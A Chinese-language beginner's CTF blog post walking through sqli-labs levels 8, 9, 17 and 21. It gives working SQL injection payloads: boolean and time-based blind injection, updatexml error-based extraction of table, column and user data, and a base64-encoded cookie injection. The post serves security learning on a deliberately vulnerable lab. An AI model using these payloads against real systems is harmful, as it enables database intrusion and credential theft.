小白的CTF之路Day3

今天针对sqlilabs的题目分享几个知识点。

LESS-8:

老规矩,先找注入点准备进行报错注入id=1' and 1=2--+ 

 

 但是我们发现这道题并没有报错显示,也就是说这道题不会给任何的报错回显。既然这样,我们只能通过他的正确回显来进行注入。

首先要掌握一些SQL函数:

length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始。

ascii(str):返回字符串str的最左面字符的ASCII代码值。

这三个用于解决这个问题足够了。先确定当前数据库名的长度。通过length(database()=x)来判断当前数据库名的长度,在经过一个个测试后,当x=8时,有了正确回显,说明当前数据库名长度8

 进一步要知道该数据库叫什么使用ascii(substr(database(),1,1))>x来确定数据库名的第一个字母的范围

 缩小范围然后确定其值

 那么第一个字母为’s‘。以此类推,猜出数据库名为security。

然后开始爆表,步骤与上面一样,猜表的数量,长度,表名。

用户数据一般存放在诸如user等命名的表中,所以其实也不需要全部爆出表名,找到u开头的表在判断效率更高。在一番操作后爆出四个表名emails,referers,uagents,users。

接着重复查找步骤(select count(column_name) from information_schema.columns where table_name='users')=x。查找列的数量。之后就在命名类似为username,password的列里面找到用户的用户名和密码。

LESS9:

同样的,先找注入点。但尝试了很多次,发现都是正确的回显。

 无论错的多离谱,都是正确回显,所以也就是说这道题根本就不会回显任何东西。既然这样,就只能使用时间盲注了。

sleep顾名思义就是延迟,该页面在执行时延迟5秒多,说明该语句正确。不建议为了节省时间而把延迟时间设定很短,因为服务器延迟有时都可能超过一两秒,所以延迟时间长一点更有利于判断。显然这样的注入会比LESS8更加繁琐。但在没有任何回显的情况下,这是无奈之举。 

接下来会使用到if函数

if(a,b,c) :a为条件,当a为真时,返回b,否则返回c。

开始猜数据库名长度?id=1' and if(length(database())=8,sleep(5),0)--+

判断数据库名的字母?id=1' and if(left(database(),1)='s',sleep(5),0)--+

此处left与’1‘指字符串从左往右数第共一个字符,同理?id=1' and if(left(database(),2)='se',sleep(5),0)--+判断从左往右数的两个字符是否为’se‘,当然,也可以从右往左数,如?id=1' and if(right(database(),2)='ty',sleep(5),0)--+当然,字符串的顺序还是从左往右。以此类推,操作步骤就像LESS8一样,根据返回延迟判断对错,一步一步得到用户数据。

LESS17:

 有图形化的登录界面,写着修改密码,输入用户名必须是数据库已有的用户名,密码则没有要求,似乎输入什么都可以修改。当然用户名必须是已有的,否则会报错,不是报错注入的报错,他不会返回任何有用的信息,顺便嘲讽你一下。

 也就是说输入的用户名会与数据库中的用户名进行比较,而密码才会被注入到数据库中。那么现在就以密码为突破口。这里要用到几个函数

updatexml(x,y,z):xml也许很陌生,但html大家都知道,html是用于显示数据的,而xml是用来传输和储存数据。updatexml函数就是对一个xml文档进行更新替换,其工作原理大致为x是目标文档,而y是路径格式为xpath(xml中查找信息的语言),z是进行替换的新数据。在这道题中,并不是要如何正确使用这个函数,而是要让其报错,因为当xpath中插入非法字符时就会报错,而报错的路径则会被sql拆解并执行。所以这个函数的报错用法就是updatexml(没用的数据,执行语句,没用的数据)。

extractvalue(x,y):用于查找,同样使用xpath,报错也会执行语句。

concat_ws(x,y,z):用于连接的函数,与concat不同concat_ws可以使用多次连接符,x为连接符,有,z为数据。如concat_ws('~',a,b,c,d,e)执行效果就是a~b~c~d~e。

首先使用burpsuite对提交的密码抓包

 在密码后加上' or updatexml(1,concat('~',concat_ws(":",database(),version()),'~',1)--+, 这样爆出来了该数据库名和版本号。’~‘用于在回显中方便找到回显信息,concat语句其实可有可无。

接着爆表名,密码改为123' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database() ),'~'),1)--+ 

 

成功爆出数据库的四个表。 

 再爆列名123' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'),'~'),1)--+

 显然出问题了,排查了很久,最后在网上发现可能是因为命名为users的表不止一个,所以要加上限制,比如123' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),'~'),1)--+

最后爆出用户信息123' and updatexml(1,concat('~',(select group_concat(username) from users),'~'),1) --+

 

显然又又出问题了。具体原因及解决 

简单点来说就是不能选择和更新一个表。正确的做法应该是123'' and updatexml(1,concat('~',(select group_concat(username) from (select username from users)a),'~'),1)--+

 成功爆出用户信息。

LESS21:

输入正确的用户名和密码后的回显。这里的回显基本上就是你的当前计算机信息,说白了就是在burp suite里能被抓包的请求包。而cookie的值却有问题,根据网上的说法,一般而言看上去是乱码且结尾有等号的一般是base64加密后的密文。所以我们用burp suite进行抓包。 

 

放掉第一个包,对第二个包的cookie之中的密文进行base64解密,注意%3D在解密前应写成’=‘。解密后发现正是我输入的用户名。那么就什么用户名在加密解密后可以回显。

在burp suite自带的加解密工具对admin',admin",admin')加密后替代原有的cookie的uname值 ,查看正确的回显。发现admin')可以正常回显。

接下来就把这道题当成一个正常的盲注就行了。

后来我发现这道题可以用updatexml来做,但是dumb') and updatexml(1,concat('~',database(),'~'),1)-- 中的'~'要改成0x7e才能被正常转码。建议以后不管有没有加解密,都使用字符编码,因为引号也不是任何时候都适用。加密后的密文为ZHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpLS0g,成功爆出数据库名。

 后面的就是普通的利用updatexml报错来爆出用户信息

 

成功爆出信息。 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值